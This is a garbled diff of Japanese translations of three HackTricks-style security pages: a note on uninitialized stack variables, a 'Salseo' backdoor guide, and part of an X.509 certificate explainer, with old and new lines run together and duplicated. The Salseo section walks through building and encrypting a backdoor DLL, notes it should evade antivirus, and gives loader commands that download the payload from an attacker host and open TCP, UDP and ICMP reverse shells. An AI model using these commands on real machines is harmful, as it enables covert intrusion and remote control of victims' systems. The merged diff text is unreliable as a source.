この振る舞いは、低レベルプログラミングにおける重要な概念を示しています: **メモリ管理が重要**であり、未初期化変数は予測不可能な振る舞いやセキュリティの脆弱性を引き起こす可能性があります。なぜならそれらは意図せずにメモリに残された機密データを保持する可能性があるからです。 この動作は、低レベルプログラミングにおける重要な概念を示しています: **メモリ管理は重要です**。未初期化変数は予測不可能な動作やセキュリティの脆弱性を引き起こす可能性があり、意図せずにメモリに残された機密データを保持することがあります。
未初期化スタック変数には、次のようなセキュリティリスクがあります: 未初期化のスタック変数は、以下のような複数のセキュリティリスクを引き起こす可能性があります:
* **データ漏洩**: パスワード、暗号キー、個人情報などの機密情報が未初期化変数に格納されている場合、攻撃者がこれらのデータを読み取る可能性があります。 * **データ漏洩**: パスワード、暗号鍵、または個人情報などの機密情報が未初期化変数に保存されると、攻撃者がこのデータを読み取る可能性があります。
* **情報開示**: 未初期化変数の内容は、プログラムのメモリレイアウトや内部動作に関する詳細を明らかにする可能性があり、攻撃者が標的型の攻撃を開発するのに役立ちます。 * **情報漏洩**: 未初期化変数の内容は、プログラムのメモリレイアウトや内部操作に関する詳細を明らかにし、攻撃者がターゲットを絞ったエクスプロイトを開発するのを助ける可能性があります。
* **クラッシュと不安定性**: 未初期化変数を含む操作は未定義の動作を引き起こし、プログラムのクラッシュや予測不可能な結果をもたらす可能性があります。 * **クラッシュと不安定性**: 未初期化変数を含む操作は未定義の動作を引き起こし、プログラムのクラッシュや予測不可能な結果をもたらす可能性があります。
* **任意のコード実行**: 特定のシナリオでは、攻撃者がこれらの脆弱性を悪用してプログラムの実行フローを変更し、任意のコードを実行する可能性があり、それにはリモートコード実行の脅威が含まれる場合があります * **任意のコード実行**: 特定のシナリオでは、攻撃者がこれらの脆弱性を利用してプログラムの実行フローを変更し、任意のコードを実行できるようになる可能性があります。これにはリモートコード実行の脅威が含まれるかもしれません
### 例 ### 例
```c ```c
@ -65,26 +66,27 @@ demonstrateUninitializedVar();
return 0; return 0;
} }
``` ```
#### 動作原理: #### これがどのように機能するか:
* **`initializeAndPrint` 関数**この関数は整数変数 `initializedVar` を宣言し、値 `100` を割り当て、その後変数のメモリアドレスと値を表示します。このステップは直感的で、初期化された変数の振る舞いを示しています。 * **`initializeAndPrint` 関数**: この関数は整数変数 `initializedVar` を宣言し、値 `100` を割り当て、その後、変数のメモリアドレスと値を印刷します。このステップは簡単で、初期化された変数がどのように動作するかを示しています。
* **`demonstrateUninitializedVar` 関数**この関数では、初期化せずに整数変数 `uninitializedVar` を宣言します。その値を表示しようとすると、出力にはランダムな数が表示されるかもしれません。この数は、以前そのメモリ位置にあったデータを表します。環境やコンパイラによって、実際の出力は異なる場合があり、時には安全のために一部のコンパイラが変数を自動的にゼロに初期化することがありますが、これに依存すべきではありません。 * **`demonstrateUninitializedVar` 関数**: この関数では、初期化せずに整数変数 `uninitializedVar` を宣言します。その値を印刷しようとすると、出力にはランダムな数が表示されるかもしれません。この数は、そのメモリ位置に以前あったデータを表しています。環境やコンパイラによって、実際の出力は異なる場合があり、安全のために、一部のコンパイラは変数を自動的にゼロに初期化することがありますが、これは信頼すべきではありません。
* **`main` 関数**`main` 関数は上記の両方の関数を順番に呼び出し、初期化された変数と初期化されていない変数の対比を示しています。 * **`main` 関数**: `main` 関数は、上記の2つの関数を順番に呼び出し、初期化された変数と初期化されていない変数の対比を示します。
## ARM64 の例 ## ARM64の例
ARM64 では、ローカル変数もスタックで管理されるため、[**この例**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)を確認できます。 ARM64では、ローカル変数もスタックで管理されるため、全く変わりません。これが示されている[**この例**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)を確認できます。
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
</details> </details>
{% endhint %}

View file

@ -1,89 +1,88 @@
# Salseo # Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}
## バイナリのコンパイル ## バイナリのコンパイル
GitHub からソースコードをダウンロードし、**EvilSalsa** **SalseoLoader** をコンパイルします。コードをコンパイルするには **Visual Studio** が必要です。 githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャにコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします 使用するWindowsボックスのアーキテクチャに合わせてこれらのプロジェクトをコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします
Visual Studio内で、**"Platform Target"** で **左側の "Build" タブ** でアーキテクチャを選択できます。 **Visual Studio**の**左側の「Build」タブ**の**「Platform Target」**で**アーキテクチャを選択**できます。
\*\*このオプションが見つからない場合は、**"Project Tab"** を押し、次に **"<Project Name> Properties"** をクリックします) (\*\*このオプションが見つからない場合は、**「Project Tab」**をクリックし、次に**「\<Project Name> Properties」**をクリックします)
![](<../.gitbook/assets/image (839).png>) ![](<../.gitbook/assets/image (839).png>)
その後、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます: 次に、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます
![](<../.gitbook/assets/image (381).png>) ![](<../.gitbook/assets/image (381).png>)
## バックドアの準備 ## バックドアの準備
まず、**EvilSalsa.dll** をエンコードする必要があります。これを行うには、pythonスクリプト **encrypterassembly.py** を使用するか、プロジェクト **EncrypterAssembly** をコンパイルできます: まず最初に、**EvilSalsa.dll**をエンコードする必要があります。そのためには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルします:
### **Python** ### **Python**
``` ```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE> python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
``` ```
### Windows
### ウィンドウズ ### ウィンドウズ
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
Ok, 今、Salseoのすべてを実行するために必要なものが揃いました: **エンコードされたEvilDalsa.dll****SalseoLoaderのバイナリ** Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**SalseoLoader.exeバイナリをマシンにアップロードしてください。どのAVにも検出されないようにしてください...** **SalseoLoader.exe バイナリをマシンにアップロードします。どのAVにも検出されないはずです...**
## **バックドアを実行する** ## **バックドアを実行する**
### **TCPリバースシェルを取得するHTTPを介してエンコードされたdllをダウンロードする** ### **TCPリバースシェルを取得するHTTPを通じてエンコードされたdllをダウンロードする**
リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたevilsalsaを提供することを忘れないでください。 ncをリバースシェルリスナーとして起動し、エンコードされたevilsalsaを提供するHTTPサーバーを起動することを忘れないでください。
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **UDPリバースシェルを取得するSMBを介してエンコードされたdllをダウンロードする** ### **UDPリバースシェルの取得SMBを通じてエンコードされたdllをダウンロード**
リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバーimpacket-smbserverを起動することを忘れないでください。 リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためにSMBサーバーを起動することを忘れないでください。
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **ICMPリバースシェルを取得するエンコードされたdllはすでに被害者の中にある)** ### **ICMPリバースシェルの取得被害者の中にエンコードされたdllが既に存在する)**
**今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロード** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP応答を無効にする:** #### **ICMP応答を無効にする**
``` ```
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running: #You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
#### クライアントを実行する: #### クライアントを実行する
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### 被害者の内部で、salseoの実行を許可します: #### 被害者の内部で、salseoのことを実行しましょう:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする ## SalseoLoaderをDLLとしてコンパイルし、メイン関数をエクスポートする
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。 Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
@ -91,65 +90,65 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
![](<../.gitbook/assets/image (409).png>) ![](<../.gitbook/assets/image (409).png>)
### このプロジェクトにDllExportをインストール ### このプロジェクトにDllExportをインストールする
#### **ツール** --> **NuGet パッケージ マネージャー** --> **ソリューションの NuGet パッケージを管理...** #### **ツール** --> **NuGetパッケージマネージャー** --> **ソリューションのNuGetパッケージを管理...**
![](<../.gitbook/assets/image (881).png>) ![](<../.gitbook/assets/image (881).png>)
#### **DllExport パッケージを検索 (Browse タブを使用) し、インストールを押して (ポップアップを受け入れる)** #### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールを押す(ポップアップを受け入れる)**
![](<../.gitbook/assets/image (100).png>) ![](<../.gitbook/assets/image (100).png>)
プロジェクトフォルダ**DllExport.bat****DllExport\_Configure.bat** というファイルが表示されます プロジェクトフォルダーに**DllExport.bat**と**DllExport\_Configure.bat**のファイルが表示されます。
### **DllExport をアンインストール** ### **U**ninstall DllExport
**アンインストール** を押します (はい、奇妙ですが、信じてください、必要です) **アンインストール**を押します(そう、変ですが信じてください、必要です)
![](<../.gitbook/assets/image (97).png>) ![](<../.gitbook/assets/image (97).png>)
### **Visual Studio を終了して DllExport\_configure を実行** ### **Visual Studioを終了し、DllExport\_configureを実行する**
単に Visual Studio を **終了** します ただ**終了**します
その後、**SalseoLoader フォルダ**に移動して **DllExport\_Configure.bat** を実行します 次に、**SalseoLoaderフォルダー**に移動し、**DllExport\_Configure.bat**を実行します。
**x64** を選択します (x64 ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices** (DllExport の **Namespace** 内) を選択して **Apply** を押します **x64**を選択しますx64ボックス内で使用する場合、私のケースです、**System.Runtime.InteropServices**を選択します(**DllExportの名前空間内**)そして**適用**を押します。
![](<../.gitbook/assets/image (882).png>) ![](<../.gitbook/assets/image (882).png>)
### プロジェクトを再度 Visual Studio で開く ### **Visual Studioでプロジェクトを再度開く**
**\[DllExport]** はもはやエラーとしてマークされていません **\[DllExport]**はもはやエラーとしてマークされていないはずです。
![](<../.gitbook/assets/image (670).png>) ![](<../.gitbook/assets/image (670).png>)
### ソリューションをビルド ### ソリューションをビルドする
**Output Type = Class Library** を選択します (プロジェクト --> SalseoLoader プロパティ --> アプリケーション --> Output type = Class Library) **出力タイプ = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)
![](<../.gitbook/assets/image (847).png>) ![](<../.gitbook/assets/image (847).png>)
**x64 プラットフォーム** を選択します (プロジェクト --> SalseoLoader プロパティ --> ビルド --> Platform target = x64) **x64** **プラットフォーム**を選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64
![](<../.gitbook/assets/image (285).png>) ![](<../.gitbook/assets/image (285).png>)
ソリューションを **ビルド** するには: Build --> Build Solution (Output コンソール内に新しい DLL のパスが表示されます) ソリューションを**ビルド**するには: ビルド --> ソリューションのビルド出力コンソール内に新しいDLLのパスが表示されます
### 生成された DLL をテスト ### 生成されたDllをテストする
DLL をテストしたい場所にコピーして貼り付けます。 テストしたい場所にDllをコピーして貼り付けます。
実行: 実行:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
エラーが表示されない場合は、おそらく機能するDLLを持っています エラーが表示されない場合、おそらく機能するDLLがあります!!
## DLLを使用してシェルを取得する ## DLLを使用してシェルを取得する
**HTTP** **サーバー**を使用し、**nc** **リスナー**を設定することを忘れないでください **HTTP** **サーバー**を使用し、**nc** **リスナー**を設定することを忘れないでください
### Powershell ### Powershell
``` ```
@ -160,8 +159,6 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD
### CMD ### CMD
``` ```
set pass=password set pass=password
@ -171,16 +168,17 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# 証明書 # 証明書
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**AWSハッキングをゼロからヒーローまで学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## 証明書とは ## 証明書とは
**公開鍵証明書**は、暗号化に使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元サブジェクト、および信頼された機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。 **公開鍵証明書**は、暗号学で誰かが公開鍵を所有していることを証明するために使用されるデジタルIDです。これには、鍵の詳細、所有者の身元サブジェクト、および信頼できる権限(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。
証明書は、主に[証明機関](https://en.wikipedia.org/wiki/Certificate_authority)CAsによって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key_infrastructure)PKIセットアップで発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web_of_trust)でありここではユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で概説されている特定のニーズに適応できます。 証明書は主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)CAによって[公開鍵基盤](https://en.wikipedia.org/wiki/Public-key\_infrastructure)PKIセットアップで発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)で、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)で、RFC 5280に記載されている特定のニーズに合わせて適応できます。
## x509共通フィールド ## x509の一般的なフィールド
### **x509証明書の共通フィールド** ### **x509証明書の一般的なフィールド**
x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は以下の通りです: x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保する上で重要な役割を果たします。これらのフィールドの内訳は以下の通りです:
- **バージョン番号**はx509形式のバージョンを示します。 * **バージョン番号**はx509形式のバージョンを示します。
- **シリアル番号**は、証明書を一意に識別し、主に取り消し追跡のため証明機関CAシステム内で使用されます。 * **シリアル番号**は、証明書機関CAのシステム内で証明書を一意に識別し、主に取り消し追跡に使用されます。
- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます: * **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます:
- **Common Name (CN)**: 証明書でカバーされるドメイン。 * **共通名CN**証明書でカバーされるドメイン。
- **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。 * **国C**、**地域L**、**州または省ST、S、またはP**、**組織O**、および**組織単位OU**は、地理的および組織的な詳細を提供します。
- **Distinguished Name (DN)**は完全なサブジェクト識別をカプセル化します。 * **識別名DN**は、完全なサブジェクト識別をカプセル化します。
- **発行者**は、証明書を検証し署名した人物を詳細に示し、CAの場合と同様のサブフィールドが含まれます。 * **発行者**は、証明書を検証し署名した者を示し、CAのサブジェクトと同様のサブフィールドを含みます。
- **有効期間**は**Not Before**および**Not After**のタイムスタンプによって示され、証明書が特定の日付前または後に使用されないようにします。 * **有効期間**は、**Not Before**および**Not After**のタイムスタンプで示され、証明書が特定の日付の前または後に使用されないことを保証します。
- 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。 * **公開鍵**セクションは、証明書のセキュリティにとって重要で、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
- **x509v3拡張**は証明書の機能を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**、および証明書のアプリケーションを微調整するためのその他のプロパティを指定します。 * **x509v3拡張**は、証明書の機能を強化し、**鍵の使用**、**拡張鍵の使用**、**サブジェクト代替名**、および証明書の適用を微調整するためのその他のプロパティを指定します。
#### **Key Usageと拡張** #### **鍵の使用と拡張**
- **Key Usage**は、公開鍵の暗号化アプリケーション(デジタル署名や鍵の暗号化など)を識別します。 * **鍵の使用**は、公開鍵の暗号化アプリケーションを特定します。例えば、デジタル署名や鍵の暗号化などです。
- **Extended Key Usage**は、証明書の使用事例をさらに絞り込みますTLSサーバー認証用 * **拡張鍵の使用**は、証明書の使用ケースをさらに絞り込みます。例えば、TLSサーバー認証用です
- **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名と、CAまたはエンドエンティティ証明書であるかどうかを定義します。 * **サブジェクト代替名**および**基本制約**は、証明書でカバーされる追加のホスト名と、それがCAまたはエンドエンティティ証明書であるかどうかを定義します。
- **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。 * **サブジェクト鍵識別子**や**権限鍵識別子**などの識別子は、鍵の一意性と追跡可能性を確保します。
- **Authority Information Access**および**CRL Distribution Points**は、発行CAの検証パスを提供し、証明書の取り消し状態を確認します。 * **権限情報アクセス**および**CRL配布ポイント**は、発行CAを検証し、証明書の取り消し状況を確認するためのパスを提供します。
- **CT Precertificate SCTs**は、証明書への公共の信頼に不可欠な透明性ログを提供します。 * **CTプレ証明書SCT**は、証明書に対する公的信頼にとって重要な透明性ログを提供します。
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -76,51 +77,53 @@ print(f"Public Key: {public_key}")
``` ```
### **OCSPとCRL配布ポイントの違い** ### **OCSPとCRL配布ポイントの違い**
**OCSP****RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して作業することを含みます。**CRL**全体をダウンロードする必要がなく、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的な方法です。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。 **OCSP** (**RFC 2560**) は、クライアントとレスポンダーが協力してデジタル公開鍵証明書が取り消されたかどうかを確認する方法で、フルの**CRL**をダウンロードする必要がありません。この方法は、取り消された証明書のシリアル番号のリストを提供する従来の**CRL**よりも効率的であり、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512件のエントリが含まれることがあります。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で確認できます。
### **証明書透明性とは** ### **証明書透明性とは**
